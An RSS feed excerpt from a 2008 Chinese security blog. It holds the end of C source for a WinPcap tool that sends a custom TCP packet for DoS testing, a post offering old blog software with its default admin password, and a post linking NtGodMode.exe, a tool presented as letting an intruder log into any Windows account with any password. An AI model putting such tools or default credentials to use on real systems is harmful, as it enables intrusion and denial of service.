            &lt;span style=&quot;color: #0000ff;&quot;&gt;return&lt;/span&gt; -1;
        }
        &lt;span style=&quot;color: #0000ff;&quot;&gt;else&lt;/span&gt;
        {
            &lt;span style=&quot;color: #0000ff;&quot;&gt;free&lt;/span&gt;( AdapterInfo );
        }
    }
    &lt;span style=&quot;color: #0000ff;&quot;&gt;else&lt;/span&gt;
    {
        &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;Get gateway&amp;#8217;s ip error.\n&lt;/span&gt;&amp;#8221; );
        &lt;span style=&quot;color: #0000ff;&quot;&gt;free&lt;/span&gt;( AdapterInfo );
        &lt;span style=&quot;color: #0000ff;&quot;&gt;return&lt;/span&gt; -1;
    }

    BYTE    Mac[6];
    ULONG    MacLen = 6;
    SendARP( inet_addr(GatewayIP), 0, (PULONG)&amp;amp;Mac, &amp;amp;MacLen );
    memcpy( GatewayMac, Mac, MacLen );

    &lt;span style=&quot;color: #008000;&quot;&gt;/*
    for( int index = 0; index &amp;lt; MacLen; index ++ )
    {
        printf( &amp;#8220;%d: %02x\n&amp;#8221;, index, Mac[index] );
    }
    printf( &amp;#8220;\n%d\n&amp;#8221;, MacLen );
    */&lt;/span&gt;
}

&lt;span style=&quot;color: #0000ff;&quot;&gt;void&lt;/span&gt; Usage( &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt; *me )
{
    &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;Make tcp package 0.1, code by yunshu\n&lt;/span&gt;&amp;#8221; );
    &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;%s:   targetip  targetport [flag]\n&lt;/span&gt;&amp;#8220;, me );
    &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;flag: \n&lt;/span&gt;&amp;#8221; );
    &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;      u|U     set urg flag.\n&lt;/span&gt;&amp;#8221; );
    &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;      a|A     set ack flag.\n&lt;/span&gt;&amp;#8221; );
    &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;      p|P     set push flag.\n&lt;/span&gt;&amp;#8221; );
    &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;      r|R     set rst flag.\n&lt;/span&gt;&amp;#8221; );
    &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;      s|S     set syn flag.\n&lt;/span&gt;&amp;#8221; );
    &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;      f|F     set fin flag.\n&lt;/span&gt;&amp;#8221; );
    &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;      default is syn flag, and you can use sa to set syn+ack, and more&amp;#8230;\n&lt;/span&gt;&amp;#8221; );
}

&lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt; main( &lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt; argc, &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt; *argv[] )
{
    ET_HEADER    EtHeader;
    IP_HEADER    IpHeader;
    TCP_HEADER    TcpHeader;
    PSD_HEADER    PsdHeader;
    u_char        Buffer[&lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(ET_HEADER) + &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(IP_HEADER) + &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(TCP_HEADER)] = { 0 };

    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( (argc != 3) &amp;amp;&amp;amp; (argc != 4) )
    {
        Usage( argv[0] );
        &lt;span style=&quot;color: #0000ff;&quot;&gt;exit&lt;/span&gt;( -1 );
    }

    &lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt;    Flag = 2;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( argc == 4 )
    {
        Flag = 0;
        &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( strchr(argv[3], &amp;#8216;U&amp;#8217;) || strchr(argv[3], &amp;#8216;u&amp;#8217;) )
        {
            Flag = Flag | 32;
        }
        &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( strchr(argv[3], &amp;#8216;A&amp;#8217;) || strchr(argv[3], &amp;#8216;a&amp;#8217;) )
        {
            Flag = Flag | 16;
        }
        &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( strchr(argv[3], &amp;#8216;P&amp;#8217;) || strchr(argv[3], &amp;#8216;p&amp;#8217;) )
        {
            Flag = Flag | 8;
        }
        &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( strchr(argv[3], &amp;#8216;R&amp;#8217;) || strchr(argv[3], &amp;#8216;r&amp;#8217;) )
        {
            Flag = Flag | 4;
        }
        &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( strchr(argv[3], &amp;#8216;S&amp;#8217;) || strchr(argv[3], &amp;#8217;s&amp;#8217;) )
        {
            Flag = Flag | 2;
        }
        &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( strchr(argv[3], &amp;#8216;F&amp;#8217;) || strchr(argv[3], &amp;#8216;f&amp;#8217;) )
        {
            Flag = Flag | 1;
        }
    }

    &lt;span style=&quot;color: #008000;&quot;&gt;//GetLocalIP( );&lt;/span&gt;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( -1 == GetDevices( ) )
    {
        &lt;span style=&quot;color: #0000ff;&quot;&gt;exit&lt;/span&gt;( -1 );
    }

    &lt;span style=&quot;color: #008000;&quot;&gt;//printf( &amp;#8220;Adapter is %s, ip is %s\n&amp;#8221;, InterfaceName, LocalIP );&lt;/span&gt;

    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt;( -1 == GetGateWayMac( ) )
    {
        &lt;span style=&quot;color: #0000ff;&quot;&gt;exit&lt;/span&gt;( -1 );
    }

    &lt;span style=&quot;color: #008000;&quot;&gt;//printf( &amp;#8220;Gateway IP is %s\n&amp;#8221;, GatewayIP );&lt;/span&gt;
    &lt;span style=&quot;color: #008000;&quot;&gt;//printf( &amp;#8220;Gateway Mac is %x\n&amp;#8221;, *GatewayMac );&lt;/span&gt;

    memcpy( EtHeader.eh_dst, GatewayMac, 6 );
    memset( EtHeader.eh_src, 0xa, 6 );
    EtHeader.eh_type = htons( IP_PROTO );

    IpHeader.h_verlen = (4&amp;lt;&amp;lt;4 | &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(IpHeader)/&lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(&lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt;));
    IpHeader.tos = 0;
    IpHeader.total_len = htons(&lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(IpHeader)+&lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(TcpHeader));
    IpHeader.ident = 1;
    IpHeader.frag_and_flags = 0&amp;#215;40;
    IpHeader.ttl = 128;
    IpHeader.proto = IPPROTO_TCP;
    IpHeader.checksum = 0;
    IpHeader.sourceIP = inet_addr( LocalIP );
    IpHeader.destIP = inet_addr( argv[1] );

    TcpHeader.th_sport = htons( &lt;span style=&quot;color: #0000ff;&quot;&gt;rand&lt;/span&gt;()%60000 + 1024 );
    TcpHeader.th_dport = htons( &lt;span style=&quot;color: #0000ff;&quot;&gt;atoi&lt;/span&gt;(argv[2]) );
    TcpHeader.th_seq = htonl( &lt;span style=&quot;color: #0000ff;&quot;&gt;rand&lt;/span&gt;()%900000000 + 100000 );
    TcpHeader.th_ack = 0;
    TcpHeader.th_lenres = (&lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(TcpHeader)/4&amp;lt;&amp;lt;4|0);
    TcpHeader.th_flag = Flag;
    TcpHeader.th_win = htons(512);
    TcpHeader.th_sum = 0;
    TcpHeader.th_urp = 0;

    PsdHeader.saddr = inet_addr( LocalIP );
    PsdHeader.daddr = IpHeader.destIP;
    PsdHeader.mbz = 0;
    PsdHeader.ptcl = IPPROTO_TCP;
    PsdHeader.tcpl = htons(&lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(TcpHeader));

    memcpy( Buffer, &amp;amp;PsdHeader, &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(PsdHeader) );
    memcpy( Buffer + &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(PsdHeader), &amp;amp;TcpHeader, &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(TcpHeader) );
    TcpHeader.th_sum = CheckSum( (&lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt; *)Buffer, &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(PsdHeader) + &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(TcpHeader) );

    memset( Buffer, 0, &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(Buffer) );
    memcpy( Buffer, &amp;amp;IpHeader, &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(IpHeader) );
    IpHeader.checksum = CheckSum( (&lt;span style=&quot;color: #0000ff;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;short&lt;/span&gt; *)Buffer, &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(IpHeader) );

    memset( Buffer, 0, &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(Buffer) );
    memcpy( Buffer, (&lt;span style=&quot;color: #0000ff;&quot;&gt;void&lt;/span&gt; *)&amp;amp;EtHeader, &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(ET_HEADER) );
    memcpy( Buffer + &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(ET_HEADER), (&lt;span style=&quot;color: #0000ff;&quot;&gt;void&lt;/span&gt; *)&amp;amp;IpHeader, &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(IP_HEADER) );
    memcpy( Buffer + &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(ET_HEADER) + &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(IP_HEADER), (&lt;span style=&quot;color: #0000ff;&quot;&gt;void&lt;/span&gt; *)&amp;amp;TcpHeader, &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(TCP_HEADER) );

    &lt;span style=&quot;color: #0000ff;&quot;&gt;char&lt;/span&gt; errbuf[PCAP_ERRBUF_SIZE] = { 0 };
    pcap_t *fp;
    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt; ( (fp= pcap_open( InterfaceName, 100, PCAP_OPENFLAG_PROMISCUOUS, 100, NULL, errbuf ) ) == NULL )
    {
        fprintf(stderr,&amp;#8221;&lt;span style=&quot;color: #8b0000;&quot;&gt;\nUnable to open the adapter. %s is not supported by WinPcap\n&lt;/span&gt;&amp;#8220;, InterfaceName );
        &lt;span style=&quot;color: #0000ff;&quot;&gt;return&lt;/span&gt; -1;
    }

    &lt;span style=&quot;color: #0000ff;&quot;&gt;if&lt;/span&gt; ( pcap_sendpacket( fp, Buffer, &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(Buffer) ) != 0 )
    {
        fprintf(stderr,&amp;#8221;&lt;span style=&quot;color: #8b0000;&quot;&gt;\nError sending the packet: \n&lt;/span&gt;&amp;#8220;, pcap_geterr(fp));
        &lt;span style=&quot;color: #0000ff;&quot;&gt;return&lt;/span&gt; -1;
    }
    &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;send ok!\nData is:\n&lt;/span&gt;&amp;#8221; );

    &lt;span style=&quot;color: #0000ff;&quot;&gt;for&lt;/span&gt;( &lt;span style=&quot;color: #0000ff;&quot;&gt;int&lt;/span&gt; i = 0; i &amp;lt; &lt;span style=&quot;color: #0000ff;&quot;&gt;sizeof&lt;/span&gt;(Buffer); i ++ )
    {
         &lt;span style=&quot;color: #0000ff;&quot;&gt;printf&lt;/span&gt;( &amp;#8220;&lt;span style=&quot;color: #8b0000;&quot;&gt;%02x &lt;/span&gt;&amp;#8220;, Buffer );
    }

    &lt;span style=&quot;color: #0000ff;&quot;&gt;return&lt;/span&gt; 0;
}&lt;/pre&gt;
	&lt;p&gt;&lt;/p&gt;
	&lt;hr noshade style=&quot;margin:0;height:1px&quot; /&gt;
	&lt;p&gt;评论数量(1) | &lt;a href=&quot;http://huaidan.org/archives/1966.html#respond&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;
	&lt;br /&gt;本文网址：&lt;a href=&quot;http://huaidan.org/archives/1966.html&quot;&gt;http://huaidan.org/archives/1966.html&lt;/a&gt;&lt;/p&gt;
	&lt;small&gt;&lt;p&gt;&amp;copy; 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2008. | Add to &lt;a href=&quot;http://del.icio.us/post?url=http://huaidan.org/archives/1966.html&amp;amp;title=使用winpcap定制TCP包发送&quot;&gt;del.icio.us&lt;/a&gt; &lt;a href=&quot;http://www.digg.com/submit&quot;&gt;digg&lt;/a&gt; | Who's linking ? &lt;a href=&quot;http://www.technorati.com/search/http://huaidan.org/archives/1966.html&quot; title=&quot;Search on Technorati&quot;&gt;Technorati&lt;/a&gt; &lt;a href=&quot;http://google.com/blogsearch?q=http://huaidan.org/archives/1966.html&quot; title=&quot;Search on Google Blog Search&quot;&gt;Google&lt;/a&gt; &lt;a href=&quot;http://www.blogpulse.com/search?query=http://huaidan.org/archives/1966.html&quot; title=&quot;Search on Blogpulse&quot;&gt;BlogPulse&lt;/a&gt;.&lt;/small&gt;&lt;/p&gt;
	&lt;h4&gt;相关日志&lt;/h4&gt;
	&lt;ul class=&quot;st-related-posts&quot;&gt;
	&lt;li&gt;无相关日志&lt;/li&gt;
	&lt;/ul&gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/ddd47bb705a33d3eb094b918a7edc48b&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/ddd47bb705a33d3eb094b918a7edc48b/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/1966.html/feed</wfw:commentRss><description>by: 云舒
2008-05-08
http://www.ph4nt0m.org
前些时候做DOS方面的测试，由于协议学得不够好，有些回应不记得，所以就首先想到用hping来定制一些包，看看远程主机的回应。结果下载 的hping死活都不发包...&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/ddd47bb705a33d3eb094b918a7edc48b&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/ddd47bb705a33d3eb094b918a7edc48b/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</description><category>WinPcap</category><category>技术文章</category><pubDate>Thu, 08 May 2008 17:18:58 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/1966.html#comments</comments><guid isPermaLink="false">http://huaidan.org/?p=1966</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/1966.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/72280801/1230972</fs:itemid></item><item><title>我以前用的LBS提供下载</title><link>http://huaidan.org/archives/1964.html</link><content:encoded>&lt;p&gt;以前有朋友曾经邮件给我，问我能否提供我当时在用的LBS下载（当然是不要数据库的），在我&lt;a href=&quot;http://huaidan.org/archives/1879.html&quot; target=&quot;_blank&quot;&gt;转换到WordPress&lt;/a&gt;之后，又有&lt;a href=&quot;http://huaidan.org/archives/1879.html#comment-5849&quot; target=&quot;_blank&quot;&gt;朋友&lt;/a&gt;要我把以前的风格放出来。&lt;/p&gt;
&lt;p&gt;刚才整理了下，这里提供下载，部分说明：&lt;br /&gt;
&lt;span id=&quot;more-1964&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;三栏&lt;/li&gt;
&lt;li&gt;我原来的skin也放了进去，并设置为默认&lt;/li&gt;
&lt;li&gt;订阅地址、blog信息请自行修改&lt;/li&gt;
&lt;li&gt;侧栏推介和adsense代码请自行添加（如果需要）&lt;/li&gt;
&lt;li&gt;referfer部分也请自行添加，我用的是&lt;a href=&quot;http://www.clicki.cn&quot; target=&quot;_blank&quot;&gt;Clicki&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;搜索部分使用的是&lt;a href=&quot;http://www.google.com/coop/cse/&quot; target=&quot;_blank&quot;&gt;google的自定义搜索&lt;/a&gt;，请更换为自己的代码&lt;/li&gt;
&lt;li&gt;到default.asp的链接改到根目录&lt;/li&gt;
&lt;li&gt;请自行修改Meta标签中的keywords，我是在lang中定义的&lt;/li&gt;
&lt;li&gt;head中给Firefox和IE7添加内置搜索引擎（OpenSearch）的部分也请自行修改guizai.g-search.xml也已打包进去，修改guizai.g-search.xml即可，global.asp中先关代码为&amp;lt;link title=&amp;#8221;鬼仔.G Search&amp;#8221; type=&amp;#8221;application/opensearchdescription+xml&amp;#8221; rel=&amp;#8221;search&amp;#8221;  href=&amp;#8221;guizai.g-search.xml&amp;#8221; /&amp;gt;&lt;/li&gt;
&lt;li&gt;加了一个独立友情链接页面&lt;/li&gt;
&lt;li&gt;请自行修改lang中的keywords和description&lt;/li&gt;
&lt;li&gt;添加登陆Cookie的时效选择&lt;/li&gt;
&lt;li&gt;日期格式调整为YY/MM/DD hh:ii&lt;/li&gt;
&lt;li&gt;删除文章页面调整字体大小的功能&lt;/li&gt;
&lt;li&gt;删除文章最后修改时间的显示&lt;/li&gt;
&lt;li&gt;删除首页普通视图中的“永久链接”，将分类，评论数，浏览数等信息放到文章标题下，以“[ 2008/04/20 23:21 | 鬼仔 发表于 乱七八糟 | 0评论 | 134 Views ]”的形式表现&lt;/li&gt;
&lt;li&gt;修改原“编辑”、“删除”图标为文字&lt;/li&gt;
&lt;li&gt;评论框样式修改为&lt;/li&gt;
&lt;p&gt;&lt;img src=&quot;http://pic.yupoo.com/sunlei/395335862aa1/medium.jpg&quot; alt=&quot;评论框&quot; /&gt;&lt;/p&gt;
&lt;li&gt;官方数据库&lt;/li&gt;
&lt;li&gt;feed全文输出，同时请修改feed.asp中的email&lt;/li&gt;
&lt;li&gt;默认用户：admin    默认密码：comeon&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;暂时就想起来这么多，其他还有一些小改动可能不记得了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;下载地址：&lt;/strong&gt;&lt;a href=&quot;http://201314.free.fr/attachments/200805/lbs.rar&quot;&gt;lbs.rar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;最后给个截图（Firefox 3，IE6、7，Opera9.5下显示均正常）：&lt;br /&gt;
&lt;img src=&quot;http://pic.yupoo.com/sunlei/823985862a9d/medium.jpg&quot; alt=&quot;null&quot; /&gt;&lt;br /&gt;
&lt;a href=&quot;http://pic.yupoo.com/sunlei/823985862a9d/j66cbnvy.jpg&quot; target=&quot;_blank&quot;&gt;查看大图&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;&lt;/p&gt;
	&lt;hr noshade style=&quot;margin:0;height:1px&quot; /&gt;
	&lt;p&gt;评论数量(7) | &lt;a href=&quot;http://huaidan.org/archives/1964.html#respond&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/life&quot; title=&quot;显示心情随笔的所有日志&quot; rel=&quot;category tag&quot;&gt;心情随笔&lt;/a&gt;
	&lt;br /&gt;本文网址：&lt;a href=&quot;http://huaidan.org/archives/1964.html&quot;&gt;http://huaidan.org/archives/1964.html&lt;/a&gt;&lt;/p&gt;
	&lt;small&gt;&lt;p&gt;&amp;copy; 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2008. | Add to &lt;a href=&quot;http://del.icio.us/post?url=http://huaidan.org/archives/1964.html&amp;amp;title=我以前用的LBS提供下载&quot;&gt;del.icio.us&lt;/a&gt; &lt;a href=&quot;http://www.digg.com/submit&quot;&gt;digg&lt;/a&gt; | Who's linking ? &lt;a href=&quot;http://www.technorati.com/search/http://huaidan.org/archives/1964.html&quot; title=&quot;Search on Technorati&quot;&gt;Technorati&lt;/a&gt; &lt;a href=&quot;http://google.com/blogsearch?q=http://huaidan.org/archives/1964.html&quot; title=&quot;Search on Google Blog Search&quot;&gt;Google&lt;/a&gt; &lt;a href=&quot;http://www.blogpulse.com/search?query=http://huaidan.org/archives/1964.html&quot; title=&quot;Search on Blogpulse&quot;&gt;BlogPulse&lt;/a&gt;.&lt;/small&gt;&lt;/p&gt;
	&lt;h4&gt;相关日志&lt;/h4&gt;
	&lt;ul class=&quot;st-related-posts&quot;&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/369.html&quot; title=&quot;自己做的第一个LBS Skin (2005/11/29)&quot;&gt;自己做的第一个LBS Skin&lt;/a&gt; (8)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1470.html&quot; title=&quot;是否该放弃LBS？ (2007/11/15)&quot;&gt;是否该放弃LBS？&lt;/a&gt; (3)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1101.html&quot; title=&quot;把网站链接卖一个好价钱: Text Link Ads 注册攻略 (2007/05/22)&quot;&gt;把网站链接卖一个好价钱: Text Link Ads 注册攻略&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1198.html&quot; title=&quot;Web+Blog发烧友的点名游戏（共10题） (2007/07/11)&quot;&gt;Web+Blog发烧友的点名游戏（共10题）&lt;/a&gt; (1)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1079.html&quot; title=&quot;LBS静态化补丁 (2007/05/12)&quot;&gt;LBS静态化补丁&lt;/a&gt; (2)&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/509bbc1e627e42faedf92068842f4537&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/509bbc1e627e42faedf92068842f4537/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/1964.html/feed</wfw:commentRss><description>以前有朋友曾经邮件给我，问我能否提供我当时在用的LBS下载（当然是不要数据库的），在我转换到WordPress之后，又有朋友要我把以前的风格放出来。
刚才整理了下，这里提供下载，部分说明...&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/509bbc1e627e42faedf92068842f4537&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/509bbc1e627e42faedf92068842f4537/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</description><category>心情随笔</category><category>LBS</category><pubDate>Thu, 08 May 2008 16:12:23 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/1964.html#comments</comments><guid isPermaLink="false">http://huaidan.org/?p=1964</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/1964.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/72242590/1230972</fs:itemid></item><item><title>NtGodMode.exe</title><link>http://huaidan.org/archives/1963.html</link><content:encoded>&lt;p&gt;鬼仔：我还没来得及测试。&lt;/p&gt;
&lt;p&gt;作者：golds7n[LAG]&lt;br /&gt;
大小：9216 Bytes&lt;br /&gt;
MD5 ：7026217dc72aa564a2834995d7a7b017&lt;br /&gt;
来源：安全焦点&lt;/p&gt;
&lt;p&gt;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8211;&lt;br /&gt;
NtGod Private&lt;br /&gt;
Powered By golds7n[LAG]&lt;br /&gt;
&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8211;&lt;br /&gt;
Usage: NtGodMode.exe ON|OFF&lt;br /&gt;
&lt;span id=&quot;more-1963&quot;&gt;&lt;/span&gt; NTGod NT上帝模式,打开上帝模式可以用任意密码登录任意windows系统帐号,从而达到不增加帐号、不破坏被入侵主机系统的情况下,登录系统帐号。&lt;br /&gt;
情景再现: 当你在进行主机安全检测时,获取了SYSTEM Shell,以前会想办法获得administrator等帐号的口令,使用gina窃取、sam hash破解、增加管理帐号等,而现在直接执行 ntgodmode on 就可以轻松登录任意帐号。登录完毕后,ntgodmode off,关闭上帝模式。&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: red;&quot;&gt;注：本文件为网友上传，XFOCUS 未对其进行安全检查。XFOCUS 不对下载、查看、执行其该文件及其包含内容所可能导致的后果做任何暗示和保证。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.xfocus.net/tools/200804/NtGodMode.exe&quot;&gt;&amp;gt;&amp;gt; 下载 &amp;lt;&amp;lt;&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;&lt;/p&gt;
	&lt;hr noshade style=&quot;margin:0;height:1px&quot; /&gt;
	&lt;p&gt;评论数量(7) | &lt;a href=&quot;http://huaidan.org/archives/1963.html#respond&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/tools&quot; title=&quot;显示工具收集的所有日志&quot; rel=&quot;category tag&quot;&gt;工具收集&lt;/a&gt;
	&lt;br /&gt;本文网址：&lt;a href=&quot;http://huaidan.org/archives/1963.html&quot;&gt;http://huaidan.org/archives/1963.html&lt;/a&gt;&lt;/p&gt;
	&lt;small&gt;&lt;p&gt;&amp;copy; 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2008. | Add to &lt;a href=&quot;http://del.icio.us/post?url=http://huaidan.org/archives/1963.html&amp;amp;title=NtGodMode.exe&quot;&gt;del.icio.us&lt;/a&gt; &lt;a href=&quot;http://www.digg.com/submit&quot;&gt;digg&lt;/a&gt; | Who's linking ? &lt;a href=&quot;http://www.technorati.com/search/http://huaidan.org/archives/1963.html&quot; title=&quot;Search on Technorati&quot;&gt;Technorati&lt;/a&gt; &lt;a href=&quot;http://google.com/blogsearch?q=http://huaidan.org/archives/1963.html&quot; title=&quot;Search on Google Blog Search&quot;&gt;Google&lt;/a&gt; &lt;a href=&quot;http://www.blogpulse.com/search?query=http://huaidan.org/archives/1963.html&quot; title=&quot;Search on Blogpulse&quot;&gt;BlogPulse&lt;/a&gt;.&lt;/small&gt;&lt;/p&gt;
	&lt;h4&gt;相关日志&lt;/h4&gt;
	&lt;ul class=&quot;st-related-posts&quot;&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1444.html&quot; title=&quot;高级恶意软件技术新挑战——突破主动防御 (2007/11/04)&quot;&gt;高级恶意软件技术新挑战——突破主动防御&lt;/a&gt; (0)&lt;/li&gt;
